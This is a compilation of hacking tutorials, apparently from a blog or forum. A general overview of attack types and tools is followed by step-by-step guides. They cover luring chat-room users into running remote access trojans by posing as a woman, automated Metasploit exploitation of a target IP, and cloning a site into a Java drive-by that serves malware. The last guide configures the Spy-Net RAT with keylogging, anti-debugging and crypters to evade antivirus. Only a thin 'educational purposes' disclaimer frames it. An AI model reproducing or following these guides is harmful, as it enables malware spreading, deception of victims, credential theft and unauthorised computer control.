Encryption: files can be encrypted in a storage. Communication channels can be encrypted as well, communication channel encryption encrypts the entire communication path, so all traffics sent and received are encrypted, e.g. SSL technology encrypts the entire communication path. There are many ways hackers get away of encrypted traffic & get info in not encrypted form. If you are using your own encryption method, you always should test your encryption for crackability before you use it officially.

Sniffers: sniffers is a common tool used by hackers. Sniffers listens on any traffic that goes through the wire of the target system, listens ins and outs traffics. Promiscuous mode is a mode that is listening for any traffic that goes through the wire. Standard promiscuous mode sniffer is a basic technique. There are more advanced techniques other than promiscuous mode. Sniffing enables the attacker to pick up a plain text, and other sensitive data that goes ‘from’ or ‘to’ the target. Sniffers record captured traffic, then after you sniff you can go offline & start analyzing that captured traffic. Popular sniffers are ethereal, etherape, ettercap, and network monitor(for Win OS only – not so effective).

Wireless Hacking: this is a new technology & starts taking place nowadays. Easy to setup, but not frequently secured since not many people understand the security configuration, so they decide not to set it up or set it up poorly. There are various tools that detect wireless networks, popular war driving software are Netstumbler, Airsnort, Airopeek, Kismet, and many more. What is war driving? google it!

SQL Injection: sql injection is a technique that allows an attacker to steal a valuable database information. This attack relies on poor data validation and poor error checking.

Buffer Overflows: buffer overflow is common, the cause of buffer overflow is poor coding. Buffer overflows might be noticed while coding. Buffer overflow happens when the programmer does not clearly define boundaries on buffers or variables. We use out of bound data to insert malicious code or execute command on the remote host. Buffer Overflows can cause programs to freeze or lockup, can cause machine to crash, or let you use exploits & leads you to compromise the system. To build buffer overflows, you need a good programming skills, good knowledge of stack and buffer vulns.

You need to have the ability to research, analyze vulns & apply the exploit to achieve what you want. Buffer overflow is a very common & hard to produce an application with no buffer overflows at all. There is nothing programmers can do about it, they just need to write the code with security mind of set. If unexpected buffer overflow appears later by chance, programmers will have to fix it. Programmers should test their code from vulnerabilities as much as they can before they publish the application.

Rootkits: it is a common hacker technique. Rootkit is malicious program that replaces components of OS. It does a stealth job. Rootkit requires root permission, so you can install it. Linux rootkits are common & you can find them everywhere, unlike Windows. It is very hard to detect a rootkit because it embeds itself so deeply into the target system. Removing rootkit from a system is very hard too, if the security person tries to remove the rootkit out of the system, he will destroy the system since the rootkit is embedded so deeply into the system(into components of OS). The good solution is to format the whole system & install it again.

Spoofing: the word spoofing defined as making yourself appear as somebody else. Examples of spoofing, you can spoof an IP address and make yourself appear to be somewhere else, MAC addresses, and emails(very simple to spoof, you send an email to somebody by changing the headers, and things like that). Spoof usually relies on poor implementation of TCP/IP itself or poor implementation of applications. Tools that are used for spoofing differs from one platform to another. Example of the tools, IP spoofing utilities, MAC address modifiers, etc. Spoofing is more into using your skills rather than using a tool.

Denial of Service (DoS): DoS is very common. The ultimate idea is to prevent legitimate users from using the system. Running DoS is very simple, you don’t gain anything from doing DoS. Hackers do it to threat companies, things like that. Many methods/level of DoS attacks exist. Examples of some ways of to DoS, ping of death, Windows size overflow, smurf, teardrop attacks, and many more. There are lots of different ways to do it!

Web Hacking: web hacking is the most popular attacks. It is based on hacking individual sites, servers, or components based on the website. First step a hacker takes is, enumerate services(applications) on target machine, and then determine what webserver software(apache, IIS, etc) is running on the target system. After that, the hacker exploits against vulns. found in the target system. It will be easier to hack if the hacker knows the version of the service/software running.

A webserver attack leads to deeper penetration on the network(move into the target’s internal network). Popular attack methods are xxs(cross-site scripting), IIS DLL vulnerabilities(IIS is very commonly exploited), directory traversal, unicode attack, and many more.

What is Unicode attack?
here is quick rough description about Unicode attack, lets say you want to pass space into a URL. If you put a space in URL, webserver will not take your URL, webserver will consider the url is invalid. Thus, if you want to put spaces among the URL, you should put the number 20 in a place of the space(number 20 represents the space), so when the URL goes to the webserver, the webserver says Ok! thats a valid URL, lets process it and so it does. Unicode attack uses this technique in a non-standard(bad way) way to attack the webserver. Thats a quick explaination about unicode attack.

I’m already about to finish this tutorial, i will just talk about popular tools in a brief manner. I will start with namp.

Nmap is the most popular hacker tool outhere. Linux command line nmap works better and is supported better. Nmap comes with ping utility, port scanning utility, service enumeration & OS fingerprinting.

SuperScan is a windows based tool developed by foundstone Inc. Its easy to use it & a good tool for Windows.

Nessus is used for vulnerability assessment. It is an open source software kit, with commercial version available as well. Nessus uses client/server architecute. Server will be installed on a central location. Nessus comes in GUI & command line interface. Nessus uses database that carries latest current exploits for all types of OS & application. Databases in nessus are called plug-ins, hundrends of vulnerability plug-ins exist and are updated daily to include latest exploits. Nessus requires high level of knowledge to use the tool very effeciently. You can go out to the web and download an exploit and then add it to the database. Nessus can take quite long time to do vulnerability assessment.

Finally, the information in this tutorial have been gathered from various types of sources, and then i wrote the tutorial in an organized manner from scratch as well as i added some stuff & clarified many parts.

After you have read this tutorial, i recommend you to search and learn about Windows Null Sessions, it is the most critical flaws associated with Windows OS, and google about DNS zone transfers!

This tutorial is a good guide for you that gives you an insight on how to start & different techniques that hackers use and how they are used. I hope you have enjoyed this tutorial & helped you in someway or another. I’m not supporting any illegal activities. This tutorial for people who wants to know how hackers think, what steps they take to break into systems & how they do it, so people can have an insight on how to protect themselves against intruders.

***This tutorial is made for educational purposes only***

……………………………………………………………………………………………………………

Sending RATs in Chat rooms[Social Engeering]

Ok Lets Start, so most people will know that yahoo Messenger has many chat rooms, and that you can do alot of things with them, such as sending files.
Now, i must say, i have sent a ridiculous amount of RATs through yahoo chat rooms, and most have made connections. The people on certain chat rooms are desperate, and often do not have virus protection, or, in many cases will disable it for the ‘pictures’.

1. If you do not have Yahoo Messenger, go to http://messenger.yahoo.com/
Download and install.
2. Set up a new account as a female (my name is “Amanda” online).
3. After your new account is set up, ensure that you have a RAT ready, and name it something sexy or dirty. e.g mine are named “me.nude” and “me.naked”.
4. Now at the top left of the yahoo messenger screen, click on the drop down bar called “Messenger”.
5. From there, go to yahoo chat, and then click “Join a Room”
6. Now, there should be a huge list of rooms, scroll down to the one called “Romance—>Adult—>Married but Looking”. (Each is a separate drop down bar”.
7. After successfully joining a room, you can either write something in the chat room, such as “Im alone boys, come play with me”, or you can just wait and people will still talk to you (remember they are desperate).
8. As people talk to you, you have to sound dirty, but not too much so that it seems fake.
9. After talking for a while, ask them if they are alone, and if they want some pictures.
10. Send your .exe file, even though they will often be hesitant.
11. When asked “cant you file share?” or “why is it .exe?”, just tell them that it is a slideshow of pictures, so you cant. 7/10 times they will accept.
12. After they have accepted, you have control of their computer 🙂

Hack Any Computer With An ip [MetaSploit]

Hello everybody! I am here to show you this magical tool called Metasploit that allows you to hack ANYunpatched computer with only it’s IP. Lets begin…

1.) First you need to download Metasploit. The most up-to-date version is FREE at metasploit.com.

2.) You need PostgrSQL for your database. Download here: http://www.postgresql.org/. Make sure you use all the defaults or Metasploit woun’t work!

3.) Now lets get down to buisness… After installing both tools, open up the PostgrSQL admin gui (start -> all programs -> PostgreSQL 9.0 -> pgAdmin III). Then right-click on your server (in the left hand box) and click connect. Remember to keep this window open the whole time. You will also need the pass you chose to use in step 5…

4.) Time for some hacking! Go to start -> all programs -> Metasploit Framework, and then open the Metasploit gui. Let it load untill it look like this:

5.)Now, in the window type:

db_connect postgres:ThePassYouChose@localhost:5432

The first time you do this you will see lots of text flash buy. Don’t wory, this is normal.

6.)Type db_host to make sure you are connected correctally.

7.)Now type this:

db_nmap 000.000.000.000

Make sure you put the ip of the computer you are trying to hack in the place of 000.000.000.000…

7.) Now we get to the fun part; the automatic exploitation. Just type db_autopwn -t -p -e -s -b , watch the auto-exploitation start, go play Halo for a while, and then come back…

8.) After the exploitation is done, type sessions -l to see what the scanner found. If all went well, you should see a list of exploits.

9.) Now we get to use the exploits to hack the computer! If you will notice, all of the exploits are numbered, and they all have obvious names (i. e., reverseScreen_tcp). In order to use an exploit, type this:

sessions -i ExploitNumber

___________________________________________________________

The features of Metasploit are mutch like a rat. Once you get into someone’s computer, you can see their screen, controll their mouse, see what they type, see them, etc.

Learn Basic JavaScript Hacking: How to Hack with Java Script

Basic JavaScript hacking

LEVEL 1
You must first obtain the “source code”: Set the security of Internet Explorer to high, click on the link to level 1 at the very top of the menu bar, Internet Explorer, the File, Edit, View, etc. Press the “View”, “Source”.This will take it up a Notepad window. Look for:

passwort=prompt(“Please enter password!”,””) passwort = prompt ( “Please enter password !”,””)

This ensures a prompt box you can write in, that you enter as a password is stored in the variable “passwort”.

if (passwort==”easy”) if (passwort == “easy”)

This checks on “passwort” (what you type) is “easy”, the password for level 1 is when the “easy”.

Set back security to medium and click on the link to the Level 1and type “easy”.

Use the same procedure to obtain the “source code”.

LEVEL 2
Once you have retrieved the Notepad window, there will be a lot of code. Just scroll further down, find this:

var m1, i; was m1, i;
m1=”JavaScript”; m1 = “JavaScript”;
value=prompt(“Please enter password!”,””); value = prompt ( “Please enter password !”,””);
if (value==m1) { if (value == m1) (
window.location=value+”.htm”; window.location = value + “. htm”;
i=4; i = 4;

What you type being stored in the variable “value”,

if (value==m1) if (value == m1)

“m1″ is a variable that contains a value. See further up:

m1=”JavaScript ” m1 = “JavaScript”
The password is “JavaScript”.

………………………………………………………………………………………………………..

[FUD] How to clone any site and turn it into a Java drive-by

 

Download

You’ll only need one file, client.jar.

Downloading a web page

Well, obviously we have a web page we want to download. In this example I’ll be using http://www.google.com. Right click anywhere on the page and click “save as”. And save it to an empty folder. I’m using Chrome but I know firefox has a similar feature.

Editing the index file

Now open the folder where you saved the file. You’ll see you’ll have a file and a folder. Rename the file from whatever.htm to index.htm and accept any warning you may get.

Now open up index.htm in notepad. Scroll down to the very bottom of the page, make a new line and add this text:

Code:

Replace “YOURVIRUSURL” with the link to your .exe virus.

Save and close the file.

Placing the .jar file

Quick step, copy the client.jar you downloaded earlier to the same folder as the index.htm.

That’s it! Upload all of the files in the folder (including the folder “whatever_files”) to a webhost and begin spreading!

Hacke Your Victim Fully [Totally]

 

Description[Read Carefully]:
Ok So The Trick From Which You Are Going to Learn “Title : Hacked Your Victim Fully [Totally]” Is Called ‘Rat’
Rat:”Remote Administrative Tool”


So For Using Rat U Have Speacial Thing To Be Which Is ”Open Port” Which u can open by Routers Or See Below How To Port Farward And Make “Open Port”
Note : “If You Dont Have Router To open Port use Vpn Coz Vpn Open All Ports”


Ok So how To Setup Rat see,


First you need to download these two files:

No-ip DUC : DOWNLOAD
Spy-Net RAT: DOWNLOAD [Password is Spy-Net]


Second We Need To Setup No-ip Account:
1. Go to www.no-ip.com
2. Create a new account
3. Confirm it from your E-Mail
4. Login To No-IP website
5. Select Add a host
6. Click Create Host
7. Write what you want the name of your No-IP address to be



8. Click Create Host
9. Download No-IP DUC , Install it , then login with your Email and password.
10. Once you do You will see your server there. Click on the icon and it will be smiling. (:D)




Port forwarding.

I Will not explain that much ,
1. Go to http://www.portforward.com
2. Click CTRL+F
3. Select Your Route

4. Follow the guide and do this with the port 81




Now How to Setup SpyNet[Rat]

1.First of all , Open the Spy-Net , you will get a popup with some weird language , click NO.
2.On Spy-Net , click START and then Opces -> Idioma -> English.ini (thats for changing language of spynet , Default is spanish or something)

Okay so now , I uploaded pics for it to be easier.

1.Go to File -> Create Server -> Select any of the profiles


Connection

Where it says “Your_Dns_here” Click once on it and click DELETE. Then click ADD and write your No-ip adress , and click Add or OK i dont know what it was

Installation

Leave everything as it is… ( these the options i use personally)

KeyLogger

Okay , so i guess everyone wants the keylogger , so select it.
And i prefer using the Backspace option too , as if someone logins to facebook , and his email is mrmindfreak@hotmail.com , and he misspelled something and it showed as mrmindfreak@hotmail.com , im sure he will use backspace and fix it , so this will be recorded on your keylogger and you can get the passwords easier 🙂


Anti-Debug

Okay select all of them , if you want to test it on sandboxie , unselect the first one 🙂


Final Step

Chose anything you want , for changing the icon click on the Picture icon on there and select any .exe or .ico files…And Click On Creat Server You Done , Now Gave u Server to Your Victim And When He Opened it u will Get His Pc On ‘Rat’ Like Below Pic.




Note : Your Server is DAetecable Coz its A Trojen So Make it Fud By Using Some Crypters And Bind it And Spread You Can Search Binding Tut On Blog


Thanx,
Mr.MindfReak
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬​¬¬¬